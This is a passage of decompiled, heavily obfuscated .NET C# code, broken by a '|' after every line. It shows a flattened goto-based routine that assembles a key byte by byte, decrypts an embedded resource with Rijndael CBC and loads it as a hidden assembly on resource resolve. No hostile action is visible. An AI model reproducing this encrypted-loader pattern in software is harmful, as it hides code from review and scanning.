if (index >= YbbxknoBYLxEOxk0Pn.reWBsatke.Length)
|
|
{
|
|
num5 = 348;
|
|
goto label_21;
|
|
}
|
|
else if (YbbxknoBYLxEOxk0Pn.tRIQC2fXT7g74mWlkL((object) YbbxknoBYLxEOxk0Pn.reWBsatke[index], (object) str))
|
|
{
|
|
num5 = 327;
|
|
goto label_21;
|
|
}
|
|
else
|
|
{
|
|
++index;
|
|
num1 = 67;
|
|
if (true)
|
|
goto label_22;
|
|
else
|
|
goto label_169;
|
|
}
|
|
label_36:
|
|
num3 = 52 + 91;
|
|
num1 = 306;
|
|
goto label_22;
|
|
label_37:
|
|
numArray1[9] = (byte) num3;
|
|
num1 = 277;
|
|
if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
|
|
goto label_174;
|
|
else
|
|
goto label_22;
|
|
label_39:
|
|
numArray1[20] = (byte) (232 - 77);
|
|
num1 = 94;
|
|
goto label_22;
|
|
label_44:
|
|
numArray1[20] = (byte) num3;
|
|
num5 = 162;
|
|
goto label_21;
|
|
label_46:
|
|
num3 = 239 - 79;
|
|
num1 = 32;
|
|
if (true)
|
|
goto label_22;
|
|
label_47:
|
|
num3 = 142 - 47;
|
|
num1 = 279;
|
|
if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
|
|
goto label_329;
|
|
else
|
|
goto label_22;
|
|
label_50:
|
|
byte[] numArray5 = new byte[0];
|
|
num1 = 320;
|
|
goto label_22;
|
|
label_52:
|
|
num4 = 10 + 116;
|
|
num1 = 202;
|
|
goto label_22;
|
|
label_53:
|
|
num4 = 22 + 39;
|
|
num5 = 10;
|
|
goto label_21;
|
|
label_56:
|
|
numArray1[2] = (byte) (82 + 32);
|
|
num1 = 16;
|
|
if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
|
|
goto label_22;
|
|
label_57:
|
|
numArray2[3] = (byte) num4;
|
|
num5 = 285;
|
|
goto label_21;
|
|
label_58:
|
|
num3 = 204 - 68;
|
|
num5 = 265;
|
|
goto label_21;
|
|
label_59:
|
|
num3 = 184 - 61;
|
|
num1 = 161;
|
|
goto label_22;
|
|
label_61:
|
|
YbbxknoBYLxEOxk0Pn.\u0039ML9lo6tT = (Assembly) YbbxknoBYLxEOxk0Pn.ms7UFSxhLDM3n3ktTf(YbbxknoBYLxEOxk0Pn.qiaGIPMaalUqZ3sMZf((object) numArray5));
|
|
num1 = 9;
|
|
if (true)
|
|
goto label_22;
|
|
label_62:
|
|
numArray1[12] = (byte) (31 + 55);
|
|
num1 = 158;
|
|
if (true)
|
|
goto label_22;
|
|
label_63:
|
|
numArray2[10] = (byte) num4;
|
|
num1 = 136;
|
|
if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
|
|
goto label_235;
|
|
else
|
|
goto label_22;
|
|
label_65:
|
|
num3 = 170 - 56;
|
|
num5 = 2;
|
|
goto label_21;
|
|
label_66:
|
|
numArray1[24] = (byte) num3;
|
|
num1 = 168;
|
|
goto label_22;
|
|
label_70:
|
|
num3 = 173 - 57;
|
|
num5 = 65;
|
|
goto label_21;
|
|
label_71:
|
|
numArray1[11] = (byte) (97 - 52);
|
|
num5 = 284;
|
|
goto label_21;
|
|
label_72:
|
|
numArray1[17] = (byte) (26 + 5);
|
|
num5 = 278;
|
|
goto label_21;
|
|
label_74:
|
|
num3 = 61 + 58;
|
|
num5 = 173;
|
|
goto label_21;
|
|
label_75:
|
|
num3 = 92 + 120;
|
|
num5 = 170;
|
|
goto label_21;
|
|
label_77:
|
|
numArray2[1] = (byte) (146 - 48);
|
|
num5 = 294;
|
|
goto label_21;
|
|
label_78:
|
|
numArray2[0] = (byte) num4;
|
|
num1 = 307;
|
|
goto label_22;
|
|
label_83:
|
|
num3 = 61 + 66;
|
|
num5 = 286;
|
|
goto label_21;
|
|
label_84:
|
|
num4 = 78 + 65;
|
|
num5 = 326;
|
|
goto label_21;
|
|
label_85:
|
|
numArray1[12] = (byte) (36 + 114);
|
|
num1 = 197;
|
|
if (true)
|
|
goto label_22;
|
|
label_86:
|
|
numArray1[13] = (byte) num3;
|
|
num1 = 88;
|
|
if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
|
|
goto label_354;
|
|
else
|
|
goto label_22;
|
|
label_87:
|
|
numArray1[19] = (byte) num3;
|
|
num5 = 338;
|
|
goto label_21;
|
|
label_88:
|
|
numArray1[19] = (byte) num3;
|
|
num5 = 89;
|
|
goto label_21;
|
|
label_89:
|
|
numArray1[8] = (byte) num3;
|
|
num5 = 259;
|
|
goto label_21;
|
|
label_90:
|
|
numArray2[13] = (byte) (58 + 29);
|
|
num1 = 95;
|
|
if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
|
|
goto label_63;
|
|
else
|
|
goto label_22;
|
|
label_92:
|
|
numArray1[9] = (byte) (131 - 80);
|
|
num5 = 313;
|
|
goto label_21;
|
|
label_94:
|
|
YbbxknoBYLxEOxk0Pn.reWBsatke = (string[]) YbbxknoBYLxEOxk0Pn.e8PiFxteCyHSGi0LgY((object) YbbxknoBYLxEOxk0Pn.\u0039ML9lo6tT);
|
|
num5 = 55;
|
|
goto label_21;
|
|
label_95:
|
|
num4 = 128 - 42;
|
|
num5 = 245;
|
|
goto label_21;
|
|
label_96:
|
|
num4 = 54 + 75;
|
|
num1 = 47;
|
|
if (true)
|
|
goto label_22;
|
|
label_97:
|
|
numArray1[26] = (byte) (250 - 83);
|
|
num5 = 263;
|
|
goto label_21;
|
|
label_98:
|
|
numArray1[23] = (byte) (165 + 75);
|
|
num1 = 141;
|
|
if (true)
|
|
goto label_22;
|
|
label_99:
|
|
numArray1[15] = (byte) (114 + 113);
|
|
num1 = 185;
|
|
goto label_22;
|
|
label_100:
|
|
num3 = 2 + 70;
|
|
num1 = 77;
|
|
if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
|
|
goto label_22;
|
|
label_101:
|
|
numArray1[16] = (byte) num3;
|
|
num1 = 137;
|
|
if (true)
|
|
goto label_22;
|
|
label_102:
|
|
numArray2[4] = (byte) num4;
|
|
num1 = (int) sbyte.MaxValue;
|
|
goto label_22;
|
|
label_106:
|
|
numArray1[20] = (byte) (121 + 95);
|
|
num5 = 322;
|
|
goto label_21;
|
|
label_107:
|
|
num3 = 5 + 120;
|
|
num5 = 72;
|
|
goto label_21;
|
|
label_109:
|
|
num3 = 29 + 23;
|
|
num5 = 252;
|
|
goto label_21;
|
|
label_110:
|
|
numArray1[6] = (byte) num3;
|
|
num1 = 300;
|
|
if (true)
|
|
goto label_22;
|
|
label_111:
|
|
BinaryReader binaryReader;
|
|
YbbxknoBYLxEOxk0Pn.EdMogJK23C5V2STpQS((object) binaryReader);
|
|
num1 = 299;
|
|
goto label_22;
|
|
label_112:
|
|
numArray1[10] = (byte) num3;
|
|
num1 = 111;
|
|
if (true)
|
|
goto label_22;
|
|
label_113:
|
|
numArray2[0] = (byte) num4;
|
|
num1 = 15;
|
|
goto label_22;
|
|
label_114:
|
|
numArray1[27] = (byte) (34 - 11);
|
|
num1 = 21;
|
|
goto label_22;
|
|
label_115:
|
|
numArray1[14] = (byte) (54 + 75);
|
|
num5 = 135;
|
|
goto label_21;
|
|
label_117:
|
|
numArray1[9] = (byte) num3;
|
|
num1 = 104;
|
|
goto label_22;
|
|
label_121:
|
|
numArray1[16] = (byte) num3;
|
|
num5 = 175;
|
|
goto label_21;
|
|
label_122:
|
|
numArray1[17] = (byte) (240 - 80);
|
|
num1 = 92;
|
|
if (true)
|
|
goto label_22;
|
|
label_123:
|
|
numArray2[15] = (byte) num4;
|
|
num5 = 208;
|
|
goto label_21;
|
|
label_124:
|
|
num3 = 247 - 82;
|
|
num5 = 238;
|
|
goto label_21;
|
|
label_125:
|
|
numArray2[10] = (byte) (110 + 122);
|
|
num5 = 126;
|
|
goto label_21;
|
|
label_127:
|
|
numArray2[4] = (byte) num4;
|
|
num1 = 81;
|
|
if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
|
|
goto label_22;
|
|
label_128:
|
|
num4 = 10 + 30;
|
|
num5 = 260;
|
|
goto label_21;
|
|
label_129:
|
|
numArray1[24] = (byte) (58 + 64);
|
|
num5 = 68;
|
|
goto label_21;
|
|
label_130:
|
|
numArray1[3] = (byte) (6 + 25);
|
|
num1 = 142;
|
|
if (true)
|
|
goto label_22;
|
|
label_131:
|
|
numArray2[4] = (byte) num4;
|
|
num5 = 250;
|
|
goto label_21;
|
|
label_132:
|
|
numArray1[10] = (byte) num3;
|
|
num5 = 183;
|
|
goto label_21;
|
|
label_133:
|
|
numArray2[10] = (byte) (97 + 92);
|
|
num5 = 221;
|
|
goto label_21;
|
|
label_137:
|
|
numArray2[15] = (byte) num4;
|
|
num1 = 96;
|
|
goto label_22;
|
|
label_138:
|
|
num3 = 23 + 68;
|
|
num5 = 159;
|
|
goto label_21;
|
|
label_139:
|
|
num4 = 154 - 51;
|
|
num1 = 36;
|
|
goto label_22;
|
|
label_140:
|
|
numArray1[7] = (byte) num3;
|
|
num5 = 253;
|
|
goto label_21;
|
|
label_141:
|
|
num3 = 147 - 49;
|
|
num1 = 166;
|
|
goto label_22;
|
|
label_142:
|
|
numArray1[8] = (byte) num3;
|
|
num5 = 56;
|
|
goto label_21;
|
|
label_143:
|
|
num4 = 108 + 114;
|
|
num5 = 216;
|
|
goto label_21;
|
|
label_144:
|
|
num4 = 240 - 80;
|
|
num5 = 316;
|
|
goto label_21;
|
|
label_147:
|
|
numArray1[29] = (byte) (170 - 56);
|
|
num1 = 57;
|
|
goto label_22;
|
|
label_148:
|
|
numArray1[25] = (byte) (144 - 48);
|
|
num1 = 237;
|
|
if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
|
|
goto label_260;
|
|
else
|
|
goto label_22;
|
|
label_149:
|
|
num4 = 74 + 5;
|
|
num1 = 190;
|
|
goto label_22;
|
|
label_156:
|
|
numArray1[31] = (byte) num3;
|
|
num1 = 234;
|
|
goto label_22;
|
|
label_161:
|
|
numArray1[22] = (byte) (111 + 112);
|
|
num1 = 50;
|
|
goto label_22;
|
|
label_163:
|
|
num3 = 207 - 69;
|
|
num5 = 314;
|
|
goto label_21;
|
|
label_164:
|
|
num3 = 98 + 60;
|
|
num1 = 102;
|
|
goto label_22;
|
|
label_165:
|
|
numArray2[12] = (byte) num4;
|
|
num1 = 59;
|
|
if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
|
|
goto label_121;
|
|
else
|
|
goto label_22;
|
|
label_166:
|
|
num3 = 179 - 59;
|
|
num1 = 46;
|
|
if (true)
|
|
goto label_22;
|
|
label_167:
|
|
return YbbxknoBYLxEOxk0Pn.\u0039ML9lo6tT;
|
|
label_169:
|
|
numArray2[3] = (byte) num4;
|
|
num1 = 200;
|
|
if (true)
|
|
goto label_22;
|
|
label_170:
|
|
numArray2[8] = (byte) num4;
|
|
num1 = 41;
|
|
if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
|
|
goto label_271;
|
|
else
|
|
goto label_22;
|
|
label_171:
|
|
numArray1[4] = (byte) num3;
|
|
num5 = 14;
|
|
goto label_21;
|
|
label_172:
|
|
num4 = 117 + 2;
|
|
num1 = 73;
|
|
if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
|
|
goto label_22;
|
|
label_173:
|
|
num4 = 43 + 117;
|
|
num1 = 283;
|
|
if (true)
|
|
goto label_22;
|
|
label_174:
|
|
YbbxknoBYLxEOxk0Pn.UAiUy9DbJPvrtDfaYG((object) memoryStream);
|
|
num5 = 211;
|
|
goto label_21;
|
|
label_175:
|
|
numArray2[5] = (byte) (215 - 71);
|
|
num1 = 226;
|
|
if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
|
|
goto label_124;
|
|
else
|
|
goto label_22;
|
|
label_176:
|
|
numArray2[3] = (byte) (151 - 50);
|
|
num5 = 139;
|
|
goto label_21;
|
|
label_180:
|
|
numArray1[25] = (byte) num3;
|
|
num1 = 333;
|
|
goto label_22;
|
|
label_183:
|
|
numArray2[2] = (byte) (248 - 82);
|
|
num1 = 24;
|
|
goto label_22;
|
|
label_184:
|
|
num4 = 83 + 71;
|
|
num1 = 291;
|
|
if (true)
|
|
goto label_22;
|
|
label_185:
|
|
numArray1[29] = (byte) (59 + 70);
|
|
num5 = 103;
|
|
goto label_21;
|
|
label_191:
|
|
num5 = 80;
|
|
goto label_21;
|
|
label_192:
|
|
numArray1[0] = (byte) num3;
|
|
num1 = 247;
|
|
goto label_22;
|
|
label_195:
|
|
numArray1[21] = (byte) num3;
|
|
num1 = 220;
|
|
if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
|
|
goto label_174;
|
|
else
|
|
goto label_22;
|
|
label_196:
|
|
numArray2[9] = (byte) (92 + 120);
|
|
num1 = 169;
|
|
goto label_22;
|
|
label_197:
|
|
numArray2[12] = (byte) (33 + 73);
|
|
num5 = 239;
|
|
goto label_21;
|
|
label_198:
|
|
YbbxknoBYLxEOxk0Pn.wgwDwA8ohM5msjfHGT((object) cryptoStream);
|
|
num1 = 18;
|
|
if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
|
|
goto label_138;
|
|
else
|
|
goto label_22;
|
|
label_199:
|
|
numArray1[21] = (byte) num3;
|
|
num5 = 267;
|
|
goto label_21;
|
|
label_200:
|
|
num3 = 73 + 52;
|
|
num1 = 222;
|
|
if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
|
|
goto label_165;
|
|
else
|
|
goto label_22;
|
|
label_203:
|
|
numArray1[10] = (byte) (137 - 92);
|
|
num5 = 25;
|
|
goto label_21;
|
|
label_204:
|
|
num3 = 230 - 76;
|
|
num5 = 45;
|
|
goto label_21;
|
|
label_206:
|
|
numArray1[18] = (byte) num3;
|
|
num5 = 303;
|
|
goto label_21;
|
|
label_207:
|
|
num3 = 79 + 10;
|
|
num1 = 319;
|
|
goto label_22;
|
|
label_208:
|
|
numArray1[21] = (byte) (79 + 71);
|
|
num5 = 275;
|
|
goto label_21;
|
|
label_211:
|
|
numArray1[13] = (byte) (248 - 82);
|
|
num1 = 140;
|
|
goto label_22;
|
|
label_219:
|
|
byte[] numArray6 = (byte[]) YbbxknoBYLxEOxk0Pn.\u0031q1Ytpay3HDTvk0H9h((object) binaryReader, (int) YbbxknoBYLxEOxk0Pn.ixBAQJTGfCYrqbKeEu(YbbxknoBYLxEOxk0Pn.\u0034HtC5nv8XcO9RgF2J4((object) binaryReader)));
|
|
num5 = 215;
|
|
goto label_21;
|
|
label_220:
|
|
numArray1[31] = (byte) num3;
|
|
num1 = 117;
|
|
if (true)
|
|
goto label_22;
|
|
label_221:
|
|
numArray2[2] = (byte) num4;
|
|
num5 = 206;
|
|
goto label_21;
|
|
label_222:
|
|
numArray1[31] = (byte) num3;
|
|
num5 = 282;
|
|
goto label_21;
|
|
label_224:
|
|
numArray2[14] = (byte) (96 - 59);
|
|
num1 = 167;
|
|
if (true)
|
|
goto label_22;
|
|
label_225:
|
|
numArray2[14] = (byte) (244 - 81);
|
|
num5 = 134;
|
|
goto label_21;
|
|
label_226:
|
|
numArray2[1] = (byte) num4;
|
|
num1 = 328;
|
|
goto label_22;
|
|
label_227:
|
|
num4 = 214 - 71;
|
|
num5 = 82;
|
|
goto label_21;
|
|
label_230:
|
|
numArray1[29] = (byte) num3;
|
|
num1 = 231;
|
|
if (true)
|
|
goto label_22;
|
|
label_231:
|
|
numArray1[14] = (byte) (134 - 44);
|
|
num1 = 38;
|
|
goto label_22;
|
|
label_235:
|
|
num4 = 147 - 49;
|
|
num5 = 272;
|
|
goto label_21;
|
|
label_236:
|
|
YbbxknoBYLxEOxk0Pn.d5bSH3LxyKFU3Kg4tt((object) rijndaelManaged, CipherMode.CBC);
|
|
num5 = 49;
|
|
goto label_21;
|
|
label_237:
|
|
numArray2[14] = (byte) (168 - 56);
|
|
num1 = 218;
|
|
goto label_22;
|
|
label_240:
|
|
numArray1[0] = (byte) (165 - 55);
|
|
num1 = 75;
|
|
if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
|
|
goto label_141;
|
|
else
|
|
goto label_22;
|
|
label_241:
|
|
numArray1[22] = (byte) num3;
|
|
num1 = 86;
|
|
goto label_22;
|
|
label_242:
|
|
numArray1[0] = (byte) num3;
|
|
num5 = 147;
|
|
goto label_21;
|
|
label_243:
|
|
numArray1[15] = (byte) num3;
|
|
num5 = 22;
|
|
goto label_21;
|
|
label_244:
|
|
numArray2[6] = (byte) (33 + 105);
|
|
num1 = 154;
|
|
if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
|
|
goto label_122;
|
|
else
|
|
goto label_22;
|
|
label_245:
|
|
numArray2[9] = (byte) (88 + 62);
|
|
num5 = 62;
|
|
goto label_21;
|
|
label_249:
|
|
numArray1[26] = (byte) (202 - 124);
|
|
num5 = 66;
|
|
goto label_21;
|
|
label_250:
|
|
YbbxknoBYLxEOxk0Pn.t9BlppiIr5xtEoYSCx((object) cryptoStream, (object) numArray6, 0, numArray6.Length);
|
|
num1 = 106;
|
|
if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
|
|
goto label_203;
|
|
else
|
|
goto label_22;
|
|
label_251:
|
|
numArray1[13] = (byte) (167 - 55);
|
|
num1 = 315;
|
|
if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
|
|
goto label_3;
|
|
else
|
|
goto label_22;
|
|
label_254:
|
|
numArray1[6] = (byte) (63 + 28);
|
|
num1 = 69;
|
|
goto label_22;
|
|
label_255:
|
|
numArray2[8] = (byte) num4;
|
|
num1 = 119;
|
|
if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
|
|
goto label_133;
|
|
else
|
|
goto label_22;
|
|
label_257:
|
|
num4 = 100 + 16;
|
|
num1 = 23;
|
|
if (true)
|
|
goto label_22;
|
|
label_258:
|
|
num4 = 217 - 72;
|
|
num1 = 347;
|
|
if (true)
|
|
goto label_22;
|
|
label_259:
|
|
numArray2[4] = (byte) (109 + 16);
|
|
num1 = 113;
|
|
if (true)
|
|
goto label_22;
|
|
label_260:
|
|
numArray1[14] = (byte) (174 + 11);
|
|
num1 = 223;
|
|
goto label_22;
|
|
label_261:
|
|
// ISSUE: type reference
|
|
binaryReader = new BinaryReader((Stream) YbbxknoBYLxEOxk0Pn.cIPpt1Fk5Y668kqFc2((object) YbbxknoBYLxEOxk0Pn.\u0036VN2YS9bmjHJ0MIncu(__typeref (tcJNIpeNWph4hwAAuQ)).Assembly, (object) tcJNIpeNWph4hwAAuQ.Uj1VGPQhn(1094)));
|
|
num1 = 292;
|
|
goto label_22;
|
|
label_262:
|
|
numArray1[10] = (byte) (67 + 97);
|
|
num1 = 330;
|
|
if (true)
|
|
goto label_22;
|
|
label_263:
|
|
numArray1[9] = (byte) (155 - 51);
|
|
num1 = 176;
|
|
goto label_22;
|
|
label_265:
|
|
numArray2[13] = (byte) (72 + 111);
|
|
num5 = 6;
|
|
goto label_21;
|
|
label_266:
|
|
numArray5 = (byte[]) YbbxknoBYLxEOxk0Pn.BmkCyFHHIL76VHldY6((object) memoryStream);
|
|
num1 = 90;
|
|
if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
|
|
goto label_95;
|
|
else
|
|
goto label_22;
|
|
label_267:
|
|
numArray1[3] = (byte) num3;
|
|
num1 = 118;
|
|
if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
|
|
goto label_22;
|
|
label_268:
|
|
numArray1[10] = (byte) num3;
|
|
num1 = 116;
|
|
goto label_22;
|
|
label_269:
|
|
numArray1[31] = (byte) (28 + 104);
|
|
num1 = 230;
|
|
if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
|
|
goto label_275;
|
|
else
|
|
goto label_22;
|
|
label_270:
|
|
numArray1[13] = (byte) num3;
|
|
num5 = 17;
|
|
goto label_21;
|
|
label_271:
|
|
numArray2[1] = (byte) num4;
|
|
num5 = 225;
|
|
goto label_21;
|
|
label_272:
|
|
num3 = 89 + 90;
|
|
num1 = 342;
|
|
if (true)
|
|
goto label_22;
|
|
label_273:
|
|
num3 = 74 + 5;
|
|
num1 = 85;
|
|
if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
|
|
goto label_260;
|
|
else
|
|
goto label_22;
|
|
label_275:
|
|
numArray2[2] = (byte) num4;
|
|
num1 = 203;
|
|
if (true)
|
|
goto label_22;
|
|
label_276:
|
|
numArray2[2] = (byte) (86 + 73);
|
|
num1 = 340;
|
|
goto label_22;
|
|
label_277:
|
|
numArray1[14] = (byte) (71 + 3);
|
|
num5 = 213;
|
|
goto label_21;
|
|
label_278:
|
|
numArray2[5] = (byte) num4;
|
|
num1 = 54;
|
|
goto label_22;
|
|
label_283:
|
|
YbbxknoBYLxEOxk0Pn.CrrWHqcsx50TSKJvuh(YbbxknoBYLxEOxk0Pn.\u0034HtC5nv8XcO9RgF2J4((object) binaryReader), 0L);
|
|
num1 = 258;
|
|
if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
|
|
goto label_261;
|
|
else
|
|
goto label_22;
|
|
label_284:
|
|
numArray1[2] = (byte) (133 - 118);
|
|
num5 = 107;
|
|
goto label_21;
|
|
label_286:
|
|
num3 = 35 + 67;
|
|
num1 = 266;
|
|
if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
|
|
goto label_268;
|
|
else
|
|
goto label_22;
|
|
label_288:
|
|
num3 = 235 - 78;
|
|
num1 = 287;
|
|
if (true)
|
|
goto label_22;
|
|
label_289:
|
|
num3 = 164 - 54;
|
|
num5 = 219;
|
|
goto label_21;
|
|
label_291:
|
|
numArray1[17] = (byte) (91 + 68);
|
|
num5 = 143;
|
|
goto label_21;
|
|
label_292:
|
|
numArray4 = numArray1;
|
|
num5 = 0;
|
|
goto label_21;
|
|
label_294:
|
|
numArray1[24] = (byte) (168 - 56);
|
|
num1 = 268;
|
|
if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
|
|
goto label_270;
|
|
else
|
|
goto label_22;
|
|
label_295:
|
|
numArray2[12] = (byte) num4;
|
|
num5 = 180;
|
|
goto label_21;
|
|
label_297:
|
|
numArray1[1] = (byte) num3;
|
|
num1 = 331;
|
|
goto label_22;
|
|
label_301:
|
|
num3 = 173 - 57;
|
|
num5 = 145;
|
|
goto label_21;
|
|
label_302:
|
|
numArray2[5] = (byte) (87 + 76);
|
|
num1 = 293;
|
|
if (true)
|
|
goto label_22;
|
|
label_303:
|
|
numArray1[7] = (byte) (234 - 78);
|
|
num1 = 334;
|
|
if (true)
|
|
goto label_22;
|
|
label_304:
|
|
numArray2[4] = (byte) (31 + 88);
|
|
num5 = 37;
|
|
goto label_21;
|
|
label_305:
|
|
numArray2[4] = (byte) (81 + 94);
|
|
num5 = 228;
|
|
goto label_21;
|
|
label_306:
|
|
numArray1[2] = (byte) num3;
|
|
num5 = 35;
|
|
goto label_21;
|
|
label_308:
|
|
numArray2[1] = (byte) (214 - 71);
|
|
num1 = 151;
|
|
if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
|
|
goto label_241;
|
|
else
|
|
goto label_22;
|
|
label_311:
|
|
num3 = 105 + 6;
|
|
num1 = 224;
|
|
goto label_22;
|
|
label_315:
|
|
numArray1[7] = (byte) num3;
|
|
num5 = 244;
|
|
goto label_21;
|
|
label_320:
|
|
numArray1[1] = (byte) num3;
|
|
num1 = 177;
|
|
goto label_22;
|
|
label_322:
|
|
numArray2[15] = (byte) num4;
|
|
num5 = 242;
|
|
goto label_21;
|
|
label_323:
|
|
num4 = 41 + 3;
|
|
num5 = 270;
|
|
goto label_21;
|
|
label_324:
|
|
numArray2[11] = (byte) num4;
|
|
num5 = 199;
|
|
goto label_21;
|
|
label_325:
|
|
num3 = 61 + 67;
|
|
num1 = 20;
|
|
goto label_22;
|
|
label_328:
|
|
numArray1[18] = (byte) (70 + 100);
|
|
num1 = 254;
|
|
if (true)
|
|
goto label_22;
|
|
label_329:
|
|
num3 = 230 - 76;
|
|
num5 = 30;
|
|
goto label_21;
|
|
label_333:
|
|
num3 = 102 + 71;
|
|
num1 = 150;
|
|
goto label_22;
|
|
label_335:
|
|
numArray2[13] = (byte) (103 + 4);
|
|
num1 = 241;
|
|
if (true)
|
|
goto label_22;
|
|
label_336:
|
|
numArray1[8] = (byte) num3;
|
|
num1 = 33;
|
|
if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
|
|
goto label_352;
|
|
else
|
|
goto label_22;
|
|
label_337:
|
|
numArray1[15] = (byte) (165 + 21);
|
|
num1 = 194;
|
|
if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
|
|
goto label_22;
|
|
label_338:
|
|
numArray2[5] = (byte) (75 + 60);
|
|
num5 = 205;
|
|
goto label_21;
|
|
label_340:
|
|
numArray1[28] = (byte) (109 + 11);
|
|
num5 = 344;
|
|
goto label_21;
|
|
label_342:
|
|
num1 = 337;
|
|
if (true)
|
|
goto label_22;
|
|
label_343:
|
|
num4 = 179 - 59;
|
|
num1 = 193;
|
|
goto label_22;
|
|
label_344:
|
|
numArray2[8] = (byte) (155 - 51);
|
|
num1 = 311;
|
|
if (true)
|
|
goto label_22;
|
|
label_345:
|
|
numArray1[1] = (byte) (69 - 10);
|
|
num1 = 188;
|
|
if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
|
|
goto label_22;
|
|
label_346:
|
|
numArray1[3] = (byte) (244 - 81);
|
|
num1 = 123;
|
|
if (true)
|
|
goto label_22;
|
|
label_347:
|
|
numArray2[8] = (byte) (105 + 110);
|
|
num1 = 248;
|
|
if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
|
|
goto label_22;
|
|
label_348:
|
|
numArray2[12] = (byte) num4;
|
|
num5 = 240;
|
|
goto label_21;
|
|
label_349:
|
|
numArray2[7] = (byte) (18 + 60);
|
|
num5 = 280;
|
|
goto label_21;
|
|
label_350:
|
|
numArray1[16] = (byte) num3;
|
|
num5 = 152;
|
|
goto label_21;
|
|
label_351:
|
|
num3 = 105 + 78;
|
|
num1 = 295;
|
|
if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
|
|
goto label_305;
|
|
else
|
|
goto label_22;
|
|
label_352:
|
|
num3 = 170 - 56;
|
|
num1 = 323;
|
|
if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
|
|
goto label_22;
|
|
label_353:
|
|
num3 = 4 + 111;
|
|
num1 = 7;
|
|
if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
|
|
goto label_22;
|
|
label_354:
|
|
numArray1[20] = (byte) (2 + 95);
|
|
num1 = 249;
|
|
goto label_22;
|
|
label_355:
|
|
return (Assembly) null;
|
|
label_357:
|
|
rijndaelManaged = new RijndaelManaged();
|
|
num1 = 84;
|
|
if (true)
|
|
goto label_22;
|
|
else
|
|
goto label_302;
|
|
}
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
public YbbxknoBYLxEOxk0Pn() => AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(YbbxknoBYLxEOxk0Pn.Uj1VGPQhn);
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
internal static void kLjw4iIsCLsZtxc4lksN0j()
|
|
{
|
|
if (YbbxknoBYLxEOxk0Pn.fTu8VEKSg)
|
|
return;
|
|
YbbxknoBYLxEOxk0Pn.fTu8VEKSg = true;
|
|
if (Environment.GetEnvironmentVariable(tcJNIpeNWph4hwAAuQ.Uj1VGPQhn(1170)) == tcJNIpeNWph4hwAAuQ.Uj1VGPQhn(1214))
|
|
return;
|
|
YbbxknoBYLxEOxk0Pn ybbxknoByLxEoxk0Pn = new YbbxknoBYLxEOxk0Pn();
|
|
}
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
static YbbxknoBYLxEOxk0Pn()
|
|
{
|
|
}
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
internal static Type \u0036VN2YS9bmjHJ0MIncu([In] RuntimeTypeHandle obj0) => Type.GetTypeFromHandle(obj0);
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
internal static object cIPpt1Fk5Y668kqFc2([In] object obj0, [In] object obj1) => (object) ((Assembly) obj0).GetManifestResourceStream((string) obj1);
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
internal static object \u0034HtC5nv8XcO9RgF2J4([In] object obj0) => (object) ((BinaryReader) obj0).BaseStream;
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
internal static void CrrWHqcsx50TSKJvuh([In] object obj0, [In] long obj1) => ((Stream) obj0).Position = obj1;
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
internal static long ixBAQJTGfCYrqbKeEu([In] object obj0) => ((Stream) obj0).Length;
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
